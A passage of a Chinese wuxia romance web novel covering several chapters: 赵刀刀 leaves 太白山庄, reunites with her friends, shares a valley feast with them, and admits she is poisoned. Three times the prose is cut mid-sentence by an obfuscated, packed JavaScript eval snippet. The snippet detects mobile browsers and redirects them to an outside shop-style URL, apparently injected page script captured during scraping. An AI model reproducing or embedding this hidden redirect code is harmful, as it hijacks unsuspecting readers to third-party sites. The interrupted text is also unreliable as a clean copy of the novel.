赵小刀听出了他的言外之意,丝毫不觉得这话算威胁,神色自若道,“不劳费心,她要是想知道,我定会一字不漏地告诉她。” “哦?包括你出卖她朋友的事?”羌胥打量着他:“你能好好活到今天,想必顾神医也帮了不少忙,可惜毒性存在一刻,便伤身一刻,最后毒解了也不能恢复如初。真让人感动啊,你为了找人,倒是愿意拿自己的寿命来换。” 赵小刀微微勾起嘴角又放下,变化极小极快,一瞬便看不出他是否笑过,“出卖?羌管家真是贵人多忘事,我何时出卖过他们?你我之间的交易,不过只是我替你们试毒而已。” 他说,“你既然提起顾神医,那我也直说了,她的医术实在高明,太白山庄也该对她多信任些,有她在,这些毒离折损寿命的程度还是差远了。哦,您要是想说那些兵器,我倒是一直有帮陆家卖刀,本想攀太白山庄这高枝,但贵庄实在高攀不起啊。” 羌胥双臂交叉抱在胸前,似笑非笑地点了点头,“花言巧语。也是,出卖一个已经死了的人,或许是算不上什么了。” 赵小刀勾唇道:“要我说,管家助纣为虐,却还能回头是岸,赵某才是佩服得五体投地。”他竟像是老学究一样站起拜了一拜又坐下,“我想……大义灭亲,不过如此。不过庄主之位,管家真的全然无意吗……” 羌胥冷笑一声,上次赵小刀来太白山庄时,他还以为是哪家丢弃的野狗,没想到这次野狗竟长出了獠牙,他直白道:“赵小刀,你顶着赵逐的名头,做了多少事?搜罗了多少消息?拿了多少好处?赵刀刀要是知道这些,还会和从前一样和你没有半点嫌隙吗?” 赵小刀垂了垂眼眸,这些事他不是没想过,可惜,羌胥拿这些话激他其实是半点用也没有的——因为他相信赵刀刀更甚过相信自己。“管家这么好奇,不如试试告诉她?没想到太白山庄也有这样小家子气的时候,我还以为买卖嘛,从来都是一个愿打一个愿挨,互不相欠,羌管家说呢?” “哼。”羌胥一字一顿道,“我看你才是个疯子。” “过奖过奖。” “若是赵刀刀真知道你与虎谋皮,不知会作何想?” “羌管家,你我坐在这里说话或许也是最后一次了,我直说了,你不必拿这些事吓我。”赵小刀放松地伸了个懒腰。 他盯着羌胥道,“在赵某眼里,过去的事,永远比不上眼前的人。不过我相信,消息自然不会从您口中流出去,等她哪天想知道了,我自然一五一十地告诉她,又有什么可隐瞒呢?” 赵小刀话锋一转,又道:“我听说太白山庄庄主风华正茂,只可惜他年纪轻轻,却疯的不轻,这时候管家还有心思坐在这里同我闲聊,是他的意思?看来庄主倒真有威严,养的狗也真够听话。” “赵小刀!”砰的一声,羌胥将茶杯重重砸在桌上。 “真可惜。”赵小刀吹了吹茶,幽幽道,“我记得管家之前说我像个笑话——到底是我,还是白凰像个笑话,今天真是说不清啦。” “呵,疯子!”羌胥起身甩袖离去。 走到院门口,对门童说,“看好他,等赵刀刀过来就赶紧让他滚。” “是。” 羌胥的杯子已经裂开了,赵小刀的茶杯就放在旁边。 杯里的茶还满着,他吹完没有喝,直接放下了。 赵小刀擦了擦手上沾的茶水。 不知是冷还是毒,他的指尖微微发紫。他没太在意,用衣袖遮住自己的手,朝门口走去。 静静等着。 远远地看到一个人影,赵小刀神情一震,“刀刀!” 他看赵刀刀淋雨走来,责怪道:“怎么不打把伞?太白山庄的待客之道真是无礼。” 赵刀刀摆了摆手,“这点雨没事的,我们走吧。” 赵小刀不多问,但离开前还是问小童要了把伞撑着。 雨水滴滴答答地从屋檐落下,太白山庄笼罩在雨水生出的薄烟中,洁白出尘。 赵刀刀伫立回头,恍惚又想起谁说过这是最假的一座城,轻轻叹了口气。 一切因自己逞强进入太白山庄而起,此刻尘埃落定,若那条小蛇真的远走,如今肯定找了个好地方快活度日吧。 “怎么了?”赵小刀撑着伞问。 赵刀刀摇摇头,转身继续走,“想起一个朋友。” “他在哪里,要去看看他吗?” “不了。” 一路骑马下山,她没有再回头看被马车抛下的太白山庄。 赵刀刀忽然发现,这世上有很多路只能走一次,不可能再回头了。 二人还是淋湿了,换了身衣裳靠坐在车里。 衣服是干的,头发的水汽还没散。 赵刀刀轻轻握着赵小刀的手,他们的手都有些凉。 她摩挲着赵小刀的手指,“小刀,以前在山上的时候,我想着,等下了山,我一定要交很多很多朋友。” “嗯,我记得。武洲这么大,我们还可以去很多地方,交很多朋友,你想去的地方,我们都可以去。”赵小刀用力回握她一下,又放松手指任她去玩。 赵刀刀捏了捏他的指尖,又叹了口气,“我忽然觉得我好像没办法交那么多的朋友。有些人近了,有些人就会远。更何况大家天南地北,总是聚少离多。” “远了就不是朋友了吗?” “也不是。” “那就不用担心,等想见的时候去见他们就好。” 只要想见就能够见到吗?赵刀刀觉得并不一定。但只要想见了就努力去相见,想念了就去送信,是不是也算得上朋友? 这一行比练三天刀还让人劳累,说着说着她就有些困倦,眼皮耷拉着难以睁开。 她把头靠在赵小刀肩上,“到了叫我。” “好。” 赵小刀的呼吸随着她的入睡越来越慢,除了行至险路时伸手护住她,不再发出一点动静。 和赵刀刀不同,他从来不会希望自己有很多朋友,只要能触碰到刀刀就够了。 半梦半醒间,赵刀刀恍惚又听到有人唱歌,唱的是首喜庆的曲子,听的人心里暖暖的。 她和赵小刀的手已经被暖的温热。 到了唐家堡地界,赵刀刀早已清醒,她望着远处的大门,心里突突的,忽然有些不敢上前。 “要不……我们买些礼物?”她问赵小刀。 赵小刀笑了笑,“唐家堡的大小姐什么没见过,就是要送礼,也不用送她家门前的东西吧。” 赵刀刀咬了咬嘴皮,有些为难,“你说的对。” 她寻思着在自己身上找找有没有什么拿的出手的东西,以失败告终。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741420|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我……” 赵小刀笑道,“好了,去吧,她找了你很久,我在车上等你。” “……好。” 门卫远远瞧见她还以为是错觉,揉了揉眼睛,跑过来惊喜道:“呀!赵姑娘!真是赵姑娘来啦!” 赵刀刀点点头,“唐雪她——” “我帮您通报去!大小姐知道您来了肯定很高兴!” 赵刀刀拦住他,“不用了,我……我自己去吧,你带我到她那就行。” “我懂我懂!我知道的,您这是想给大小姐一个惊喜啊!哎,哥儿几个别跑了,别告诉小姐,我这就带赵姑娘进去!” “麻烦了。”赵刀刀难得有些手足无措。 唐家堡比印象中冷清了些。 再过一道门,就是唐雪的院子。 “您进去吧,大小姐在里头,我先走啦。” “好,多谢。” 赵刀刀走得很慢,每一步都重若千斤。 她为自己打了打气。 还未抬手敲门,里头有道声音问:“谁?” 赵刀刀好不容易生出的勇气一泄,“我……” 屋里传来什么东西掉在地上的声音。 唐雪问:“客人来唐家有什么事?” 赵刀刀定了定神,道:“我是来送礼的。” “你认错人了吧,我还不知道你的名字,你我素不相识,我怎么好收你的礼物?” “我叫……赵刀刀。这样算相识了吗?” “原来你叫赵刀刀,那现在认识也不晚,不过我以前也认识一个人叫赵刀刀,她很擅长用刀,你呢?” “我不用刀。” “……你骗我,你是这天下最好的刀客!” 赵刀刀听到里面的声音有些哽咽,她背过身,轻声道:“你说的对,她很喜欢刀。”想到自己的不告而别,又忍不住道:“她也……很抱歉。” 赵刀刀背靠着门没有推开,她仿佛能想象得出唐雪此时的容颜,她总是在她面前装作要哭的样子,这一次是却是真的在哭了。 静默片刻,里头传来轻轻的发问:“你走了好久……你去哪了?都做了什么?” “我去了轮回城,我在那里学了一门手艺。” “什么?” “木刻。” 唐雪不用想都知道,“你一定刻了刀吧?” “是,但我也会刻其他的东西,花鸟,走兽,我刻了很多乱七八糟的东西,可惜没能带出来。” “那你会刻人吗?” “很会。” 唐雪的嗓音有些沙哑,她低低地笑了声,问:“刻过我吗?” “当然了。”这事连赵小刀都没能发现,她总是在夜深无人时醒来刻些木头,很多东西刻到一半就扔了,留下的不多,都是小小的一块,放在不显眼的地方。 屋内又安静下来,过了半晌,才传出一声低低的唤声,是唐雪在说:“恩人。” 赵刀刀在门外等着,等到里头声音渐弱,呼吸平稳,木门吱呀一声,有人出来了。 “唐——” 赵刀刀转过身,被人抱了个满怀。 唐雪紧紧抱着她,头埋在她的颈侧。 她的声音闷闷的,“他们都说你不会回来了,我以为,我还以为,我再也见不到你了!但恩人怎么会平白消失,我不信他们的,我知道你一定还活着!” 赵刀刀感觉那块布料有些温热,这温度贴着皮肤,令人心颤。 唐雪不住道:“你回来了,我好开心。我好开心。” 唐雪的情绪来得快,去得也快。她总是这样坚强的。 赵刀刀也抬起双手回抱,紧紧抱住唐雪,轻轻拍着她的肩。 “我也好开心。” “我回来了。” “唐雪,别来无恙。” 86. 熹微 唐家堡本来有许多事牵挂着唐雪,但得知白凰的消息后,这些事便显得不那么紧要了。 机会难得,唐堡主打算趁着太白山庄动荡、无暇顾及时将该揪的人揪出来。 唐雪不用卷入此事,可以趁此机会缓缓。 唐雪感慨着,“爹爹皱起的眉头终于可以松开些了。” 花了两三日工夫,她以最快的速度将手头的事都交代完毕,便动身跟着赵刀刀和赵小刀上路了。 三人赶往佩城,捎上周向晚,一同去柳州。 周向晚带着他新铸好的刀,人还晕乎乎地没搞清楚状况,就被拉上了车。按唐雪的话来说,就是“有觉车上睡,难得小聚,别误了时候”。 “不过,”唐雪戳了戳周向晚,揶揄道,“你小叔说你锻刀时连陆家人都不让见……你还在生气?” 周向晚一愣,无奈道,“当然没有了,我又不是那种小肚鸡肠的人。” 他压低声音:“其实是因为这里头牵扯着一个秘密……等到了柳州我就告诉你们。”说着他摸了摸身后被包的严严实实的新刀。 赵刀刀听他这样卖关子,手也有些痒,她本以为自己对这把刀不会太过上心的,毕竟样子和原来的黑刀一样,但这会儿却生出了好奇。 赵小刀笑了笑,“一定是把好刀。” 周向晚得意道:“当然。这虽然是我的第一把刀,但绝不会让你们失望的,嘿嘿。” 他得意的脸庞有些扭曲,唐雪拿了块儿点心丢向他,周向晚顺手接了。 唐雪故作不信,怀疑道:“啧啧,要是你小叔锻的刀我还信这大话,你嘛——”她上下打量着周向晚,摇了摇头,撇了撇嘴角。 周向晚咬了一口点心,他从今早起就一直待在剑冢,带着刀出来就碰上了唐雪他们,还没来得及吃一口饭。 他两三口吃完大半点心,将最后一点塞进嘴里,道,“到时候你就知道了,我小叔以前总夸我我还不信,现在看来,陆家好不容易出了我这么个天才,不继承家业的话真是太可惜了!” 赵刀刀笑了笑,双手交握着,有些用力。 赵小刀坐在她旁边,赵刀刀离开那段日子他总是独来独往,也从不期待和什么人成为朋友,这些热闹亲切的声音他曾经听过很多回,但亲眼看着并跟他们一同欢笑还是头一遭,心中有种不习惯又满足的感觉。 这都是因为刀刀回来了,他想。 因为赵刀刀,所以这样温暖的氛围也笼罩了他。 一路说笑,几人赶着春天的尾巴到了柳州。 赵刀刀是冬天走的,到武洲的第一年,阴差阳错,她在轮回城过了年,等终于从轮回城出来,新的一年已经过去。 赵刀刀对这事没什么遗憾。她一个人在雪原上走了很久,能走到风月城已是万幸,早没什么心思念着过年了。 其实他们都是不在意这事的人,但最后想了想,和顾倾城通了几次信,还是打算图个好兆头重新过一次年。 算是给自己一个礼物,也算是补上之前从没一起过年的遗憾。 顾倾城排了三天日子,从吃喝到玩乐,她说东西都备齐了放在了山谷方英那间屋子,就等他们过去了。 那里与世隔绝,绝不会被人打扰。 …… 柳城风景依旧。 出发去山谷的前一天赵刀刀却遇到了一个意想不到的人。 那时,她刚从顾家一间医馆出来,外面那人的声音戛然而止—— 齐阔瞳孔一缩,仿佛见了鬼,“你是赵——” 话还没说完就被断了。 赵刀刀迅疾如风,行如鬼魅,齐阔还没有看清,一阵微风已绕到他身后,下一刻,他不敢置信地合上了眼,手上也卸了力。 齐阔被一掌劈晕。 赵刀刀单手从背后托住他,把他搬到旁边的椅子上,带着自己的东西走了。 走到半路,想了想又折回来补留下一张字条“峦岳派齐阔”,塞在齐阔怀中。 她走后,医馆的人伸着懒腰,舒展着身体,刚绕过屏风就见一个穿着峦岳派衣服的人坐在椅子上,吓了一跳,惊道,“哪儿蹦出来的?!” 他小心翼翼地上前,看齐阔没什么问题,才松了口气。 查看一通,才注意到齐阔身上的字条,差人将他搬进医馆里的床上放着。 赵刀刀不在意齐阔为何而来,总之他们去的地方齐阔不会找到,但为了避免麻烦,她还是希望他能把见到自己当成一场梦。 她出手已经很快了,赵刀刀幽幽想到。 …… 逐渐远离人烟。 赵刀刀第二次踏上了这条林间小路。 幽静绵延的山脉环绕周围,没有顾倾城在前面带路的话他们或许会立刻迷失在深山中。 每个人身上都背着包袱,里头分门别类装满了瓜果蔬菜和肉,是顾倾城让他们去找的喜欢的食物。 除此之外,周向晚身后还背着一把包好的刀,被包袱压着只能露出一点头。 周向晚去挑东西的时候简直要把店都搬空了,菜商还没见过他这样大胃口的散客,看他身材也不像贪口舌之欲的食客,劝了好久才确认他是真的都想吃。 赵刀刀走着走着突然想起顾倾城的话,问,“我记得你上次说下雨的时候才能进谷,这次不用等雨天吗?” 顾倾城走在最前方,笑了声,“你还记得。” 唐雪也好奇地望过去。 顾倾城拨开树枝,“那是师父还在时的规矩了。后来我在雨天又进山了一次,做了标记,所以现在就不用再等雨天了。” 唐雪问:“那要是……有人偷偷进来呢?” “不用担心,那标记只有我知道,就算是你们,没有我引路,也进不去山谷里面的。” 唐雪点头,又在心中暗想,其实唐家也有自己才能认出的东西,下次得让他们见识见识。 赵刀刀问:“你之前说准备好了的东西,是你一个人带过去的?” “嗯。” 周向晚道:“你可以等我们帮你一起的,何必那么着急。” 顾倾城道:“我早有打算,而且东西都是一点点拿进去的,并不算太累。” 其实是有些心急了,她鲜少有这样迫不及待地期待一件事的时候,像是小时候约着出去游玩一般,夜里也兴奋地难以入眠,不得不给自己熏了助眠的香才能安睡。从赵刀刀跟赵小刀一起离开顾家那天她就开始准备了。 赵小刀就跟在他们身侧听着,仿佛还是黑刀时候那样无言。但心中比那时开心得多。 身后沉甸甸的包袱,正如他装满的喜悦。 …… 亏得他们体力过人,才背着大包小包,赶着傍晚到了屋子。 放下东西,还没歇多久,几人又被顾倾城叫起来干活了。 打水的,洗菜的,切菜的,生火的,晾晒的……每个人都被顾倾城安排好了活儿。如果不是知道顾倾城是个医生,赵刀刀觉得这时候说她是厨子也有人信。 唐雪按着腰抱怨两声:“看来我回去要多去练武场,我在家还没这么累过。” 周向晚得意道:“这点活还没有我锻刀累。” 唐雪冷笑一声,将手上的水弹向他,“神气什么!” 赵刀刀在一旁看着,没有揭穿周向晚打颤的腿,默默笑了笑。 赵小刀已经支好窗子通风,把豆子和菜一一绑好,挂在架子上。 顾倾城正在研究她的汤料。 赵刀刀打满两缸水,走到中间空地的火堆旁挑火。 木材燃烧的声音混着火星往上飘,驱散了湿气。 这片平坦空旷的小广场是之前没有的,大约是顾倾城为了这次相聚特意准备。 周向晚将肉去了皮儿,顺着脉络切开,血腥气有些招惹蚊虫,他挥了挥手。 在陆家他几乎没怎么见过虫子,都忘了山里这玩意儿很多。 顾倾城走出来,在他周围倒了一圈什么,终于才不被烦扰。 周向晚感叹道:“你这是什么,真是神了!” 顾倾城挑起嘴角,“可趋百虫的良药,不过里头是什么,你应该不想知道的。” 周向晚看她的眼神就知道好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744420|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇心该适可而止,“我不问了,不过我看院子那边的地生了杂草,你师父不在这,以后还种地吗?” 顾倾城往屋里走,“我打算种些药材,十几年不用人管自己长的那种。” “还有这种药?” “没有。” “哎——”周向晚叹了口气。 唐雪在一边笑他。她早就知道顾倾城是最喜欢冷脸开玩笑的人,周向晚总把顾倾城当作神医,也难怪屡屡受挫。 天上已经挂着星了。 赵刀刀把锅架好,搬了椅子和矮桌出来。 顾倾城将一大碗汤料下进去,用长长的木勺搅着。 不过一会儿,赵刀刀几人忍不住吸了吸鼻子,“好香啊!” 顾倾城笑了笑,“我用的都是上好的东西,你们一辈子吃一次也值了。” 唐雪撒娇道,“要是我想吃,下次还能来找你吗?” 周向晚也有些期待地看过去。 顾倾城装作思考的样子,托着下巴似乎有些为难。“嗯——” 周向晚道:“虽然朋友之间不讲这些,但亲兄弟也明算账,你有什么想要的,下次包我身上。” 顾倾城轻呵一声:“想买?那也得看我心情。”她道:“要是赶上我心情好,做给你们吃也没什么。” 唐雪眼睛亮晶晶的,点着头附和道,“一定会心情好的!” 笑声又伴着水泡的咕嘟声响起来。 顾倾城拿了小碗接了一小勺汤,看着等不及的一圈人,“可以下锅了。” 周向晚欢呼一声,起身将盛才的盘子拿过来,一点点下进锅里。 肉在滚烫的水里翻白,下了锅的食物飘在表面,不知道顾倾城哪学来的手艺,这香味闻着就叫人流出口水。 每个人心里都想着,熟了——能吃了!谁也没跟谁客气。 “这片肉是我切的!” “那菜还是我洗的呢!”唐雪刚说完余光又偏见一双筷子,“呀!恩人,你怎么吃着碗里的捞着锅里的!” 赵刀刀笑了笑,大口吃饭,努力把握着每样菜煮熟的时机。 “早知道应该多买点,你们也太能吃了!”不知道是谁抱怨着。 “别急,还有呢,饿不着你!” “我看你要是哪天不想救人了,出去做个厨子也能混个名头出来。” “呵。” “火快灭了!” “快添柴!” “哇!这是什么菜?” “可以捞肉了。” “面很劲道。” “汤也好鲜啊!” “啊,肚子里好暖和。” “谁吃的最慢谁洗碗。” “不要啊——” “啊,不早说——” “刚才还像饿死鬼一样,别急着放碗,不许剩下!” “我吃好了。” “好饱啊。” “我也吃好了。” “放到哪?” “那边台子上。” “不想动了,恩人帮帮我吧。” “唐雪,这里可不是唐家堡,你没长脚吗?自己去!” “恩人恩人!” “好,好,给我就行。” “你就纵着她吧!” “你的呢?” “嗯……帮她也不是不行。” “你刚才还说我,自己还不是一样,你脸红不红!” “我这是吃红的!” “我也来帮忙。” …… 将锅碗放好,不急着清洗,几人又围着火堆坐下。 屋里橘黄的灯光远不及这团火亮堂。 他们劳作一天,这会吃饱了靠在椅子上,望着燃烧的柴火,听着山间虫鸣,嗅着芳草清香,说说笑笑,好不惬意。 暖意充斥四肢,又顺着血脉流入心脏。 赵刀刀将脖子抵在椅背上沿,抬头望着天。 真希望时间就停在这里。 赵小刀悄悄去牵她的手。赵刀刀没去看,轻轻回握他。 好希望时间就停在这里。 87. 清晨 第二天一早。 赵小刀穿戴整齐,洗漱干净,站在院子里等人。 听闻脚步声,他转身,却心中一惊。 顾倾城站在后头。 他压下惊讶,道:“早上好。” 顾倾城抱臂看着他,“你的毒解得差不多了,看来药吃得不错。” “嗯,我都按时服下的。”或许是因为他找顾倾城看过几次病,欠下太多人情,又或许是因为作为一个医者她身上有种见惯生死的坦然,赵小刀总觉得顾倾城说话时有种奇怪的威严。 所以刀刀这三位朋友中,他最不想单独相处的就是这位。 顾倾城淡淡道,“其实我一直觉得你命不错,试了那么多毒还能没事的人世上并不多见。” “如果不是知道顾神医医术高超,我也不敢去试。” 顾倾城盯着他看了会儿,将手中的东西抛给他,“多活些日子。” 说着就准备出门。 赵小刀接过,张开手看,是个小药包。 他收好笑了笑,“一定。”见顾倾城要离开,他犹豫片刻还是拦住她,不好意思地问:“你们都起了吗?” 顾倾城头也不回道,“你要是找赵刀刀的话,她很早就出去了,我醒的时候没见她。” “她去哪了?” “应该是在山里逛吧。” “我……” “你想去找她?” “嗯。” “去吧,我想想……”顾倾城沉思片刻,转头指了方向道,“一直往那边走有一片花海,她以前去过,可能会在,你可以顺着那边找。” 又道:“带把伞去吧,山里天气多变,雨说来就来。” 赵小刀郑重道,“多谢。” “没什么。”顾倾城看着赵小刀抬步进去取伞。 他动作有些僵硬,不算自然,顾倾城极浅地勾了下嘴角。 世上欠她人情的人实在太多,她早就懒得戳穿。她想了想,说,“你知道,我们是她的朋友,现在也是你的朋友了。” “我……”赵小刀停下脚步,他本不觉得自己会为这种事感到动容,可此刻心跳加快,难以控制,“我也当你们是朋友的。” 顾倾城开玩笑道,“从昨晚开始?” 赵小刀没有说话,手指在袖子里搓了搓。 顾倾城笑了声,“紧张什么,我又不会拿你怎么样。” 赵小刀垂着眼睛,低声道,“我知道,你们都是很好的朋友。” 顾倾城思索道:“这次见你有很大的不同,你比第一次见我那会儿更像个人了。” 这话听着感觉古怪,但赵小刀知道她是好意,“我想一直陪着她。” “哦,一直陪着。”顾倾城说完故意沉默了会儿。 见赵小刀不说话也不离开,在原地踌躇,她挑了挑眉,笑道,“特别想走又得和我说话,是不是很急?” 这话太难接,赵小刀忍不住低咳一声。 “行了,去找她吧。” “嗯。” 赵小刀进去拿了把伞。 等他离开院子,又在门口不远处遇上顾倾城。 赵小刀打了招呼,越过她。 交错的瞬间,顾倾城的声音突然从身旁响起,“赵小刀。” 赵小刀停顿片刻,不明所以。 顾倾城神色不变,言语中却带着警告和威胁,低声道,“别拖了她的步子。” “……自然。” 二人擦身而过。 …… 这会儿还早,山里的雾正慢慢散开。 赵小刀顺着顾倾城指的方向一直走,极目远眺,前面就是顾倾城说的花海了。 走到这比他想得要久,不知道刀刀什么时候起来的。 赵小刀四处张望,思索着她可能去的地方。 从唐家堡走来,一路上赵刀刀总是穿着一身蓝衣,进山也不例外。 那颜色在林间并不显眼,不算好找,但赵小刀心中没由来地有种预感,朝着高处走去。 他一边走一边往山巅看,体力快要耗尽,终于隐约一抹蓝色的身影。 赵刀刀坐在一块大石头顶,头发和衣衫在山顶的烈风中飘荡。 赵小刀舒了一口气,心神一缓,慢慢地爬上去。 “刀刀。”他找着能看到她的角度,仰头唤道。 赵刀刀撑着下巴,目光没有落在实处,有些空茫。 “刀刀!”他将双手放在嘴边大喊道。 赵刀刀回神,往下看去。 赵小刀笑了笑,问:“怎么起得这样早?” 赵刀刀没回他,似乎还在发呆。 他上不去这块巨石,只能站在底下继续问:“刀刀,怎么了?” 见赵刀刀还沉浸在自己的思绪里,赵小刀用伞尖敲了敲石头。 “小刀?”她终于回神,撑着石头弯腰低头,“你怎么来了,怎么了?” 赵小刀摇头,“没事,来找你。怎么坐在这里发呆?” “在想事情。” “什么事?” “在想……”赵刀刀想了想,有些惆怅地感叹道,“这里可真美啊,我都不想离开了。” 赵刀刀想起了唐雪他们,想起了方英和六月三更。 “那就多待些日子。”赵小刀道,“还有很多美景我们不曾看过,武洲很大,我们可以一一走过,一起去看。” 赵刀刀轻笑了下,“如果走到半路累了呢?” “那就歇歇。” “如果只有一个人累了呢?”赵刀刀看着他玩笑道:“如果有一天我不在了,你怎么办?” 赵小刀拿着手里的伞大幅度晃了晃,“刀刀,不要说胡话。” “嗯,我逗你的。”赵刀刀束起的黑发被风吹着,和发带一起飘在脑后。她人小,此时盘成一团,仿佛一个不察就要化蝶飞去。 他们已经相处多年,即使赵刀刀说的轻松,赵小刀却不觉得刚才只是一句单纯的玩乐。他在心中反复惦念着她的问询。 赵小刀攀了两下石头,往高靠近了一点,拍了拍手上的土,拿起先放上来的伞,高高举起递给赵刀刀。 “嗯?”赵刀刀伸手接过。 “顾倾城说可能会下雨,我给你带伞来。” “哦。” 赵小刀努力了两下,上不去更多,索性站在原地仰头接着问,“刀刀,为什么会想那个问题?” 赵刀刀不想骗他,却也不想告诉他实话。 她总觉得有些事自己一个人就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753809|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对付,但一路走来,若不是小刀和唐雪他们,或许她根本走不到今天。 她托着下巴看着赵小刀,忽然道:“上来看看?” 她教赵小刀踩着一处缺口,在上边用力将他拉上来。 赵小刀几乎是被她拽上来的,这是他第一次如此直白地感受到她的力量。无法抗拒的,能支撑起他整个人的力量。 他拍拍腿弯着腰站在顶峰,被赵刀刀用手扶着帮忙坐下。 赵刀刀挪了一点位置,方便他坐得更稳。 赵小刀大口喘着气,擦掉眼前的汗水,刚一定神就惊在原地。 这是他人生中第一次看见这样的绝景—— 雾已经散完了。 一道光劈开天地,太阳在山的尽头升起,霞光万丈。 风吹过,清香醉人,分不清落花还是落叶悠悠荡在空中。山谷里花还没开全,但已经点缀的缤纷,粉白朱红镀着金边,与碧绿争艳。 远处巨木参天,百鸟齐鸣,野兽长啸,隐约还能听见飞流直下的水声,空谷传响。 一切世俗与之相比都太过渺小,宇宙苍茫,美得叫人心碎。 身在此间,人怎么还能记得自己? 良久,赵小刀按捺着心情,才终于找回自我。 “刀刀……” 赵刀刀握着伞,话在喉咙转了几转。终于还是笑了笑,轻声道,“我身上毒还没解,说出来怕你们担心。” 她的语气自然随意,如同谈论天气般淡然。 “……毒?”赵小刀没有转过弯儿。 赵刀刀点头,“轮回花毒。” “怎么会?!” “其实这毒进轮回城后就被压制住了,但是现在我出来,它也该卷土重来了。” “我们……回去找顾神医!”赵小刀有些焦急,欲起身离开。 “不用急。嗯,我打算找她的,不过,如果她也治不了……其实也没事。”赵刀刀拉住他。 “怎么会没事?!她一定能治的,刀刀,你该相信她!” 赵小刀有些绝望,只要赵刀刀不想,他便抽不开手。相比于赵刀刀,他更像那个中毒的孱弱的人。 “嗯,我信她。” “如果真的治不了,你想去哪里,我们都一起去。”赵小刀的声音有些沙哑,“刀刀,我们不要再分别了,如果没有你,我又何必留在这里。” 赵刀刀叹气道:“你不是一把刀了,你也该为自己而活。” “我只是你的刀。”赵小刀的嘴角微微提起又迅速落下,他喜欢说这些甜蜜的话给她听,但此时却觉得太过苦涩,喉咙也发干发痛。 赵刀刀压制着他的手已经放开,赵小刀却感到一阵心慌。 他用两只手牵起她的手,垂目道:“刀刀……我曾想象过……这双手……应当是充满力量,精巧又结实的一双手。” 赵刀刀张开五指,动了动,也看向自己的手,“现在呢?” “果然是一双刀客的手。”赵小刀与她五指紧扣。 “刀刀,我只希望,我们再也不要错过了。” 他轻声道:“我们形影不离,就像从前那样,好吗?” 过了许久,才听见低不可闻,好像只是呼吸的一声—— “好。” 88. 心安 山里没有下雨,但赵刀刀回去的时候还是错过了早饭。 她热了热剩下的,用过饭,一个人去找顾倾城。 绕了一圈,赵刀刀屋子背后找到了人,顾倾城似乎在试草药,嘴里含了片叶子。 赵刀刀没见过这样的顾倾城,笑了笑。 顾倾城拿掉叶子,“怎么了?” 赵刀刀背着手犹豫片刻,开门见山问:“你说叫得上名的毒你都能解,那……轮回花毒呢?” 顾倾城一怔,眉头一皱看着赵刀刀,“谁中了轮回花毒,你?!” 赵刀刀在她关心的视线下无所遁形,点点头,“要是不能治也没事,我身上这毒最近还挺安分的。” 顾倾城不赞同道:“你什么时候知道自己中毒的?” “有段日子了。” “有多久,怎么不早点说,你就是这么对自己的?!”顾倾城道:“在这等着,我回去取点东西。” 赵刀刀难得这样心虚,微微错开了眼神。“好。” 顾倾城说的回去是回顾家,她很快做了安排,离开小屋前还是忍不住道:“这毒天下没几个人知道,若非你说,直到毒发我才能知道你中了毒……” 她语气严厉,“赵小刀相比你都要惜命些。” 赵刀刀摸了摸鼻子:“我以为……” “你以为自己时日不多,还是觉得没人能治不抱希望?” “我做错了。”赵刀刀低声道,谁不想活着呢,她出了轮回城,又见了朋友,以后还有小刀一直陪着,世间这么美,谁不想继续活下去呢? “你以为什么事都能自己扛着,未免太不把我们这帮人当回事儿了。” “抱歉。”赵刀刀诚恳道,她好像一开始就做错了,此时没有任何辩解的余地。 “我看你为了防止毒发一辈子别运气也好,当个普通人,能多活一年是一年,免得总是心高气傲觉得谁都管不了你。” 赵刀刀知道她在气头上,担心过度才这样说,何况要是从此以后不能练刀……她已经不想再经历那种日子。“那哪儿能呢,我知道你能治好的。” “你——哼,这几天别练刀了。” “好。” 顾倾城留下最后一句,道:“你命好,遇到我,还有的活。” 赵刀刀深以为然,看着她走进深林,消失了身影才离开。 …… 顾倾城带着药箱回来了,没有片刻耽搁,早上出发,晚上回来。 她将赵刀刀从头到脚查看一番,心中有些奇怪。 “轮回花……”赵刀刀身上的毒性很弱,按理说轮回花毒不该是这样温和。 “你遇到过什么人,有人帮你化解过一部分花毒?”顾倾城问。 赵刀刀闻言一愣,她已经强迫自己不去回忆那段时间的事,可顾倾城刚一提起,一个身影便瞬间浮现在眼前。 “或许是在轮回城那时候……有人告诉我,在城里待着,轮回花毒就不会有事。” 赵刀刀也不能确定,她只知道在轮回城毒会被压制,没想到居然被解了一些。 “虽然还有残余毒性,但并不严重。” 顾倾城将银针放到一边。 “这样吗……”赵刀刀松了口气。 “不过,”顾倾城道,“轮回花无法彻底治好,我的方子也只是帮你把毒缓解,不让它影响你运功而已。” 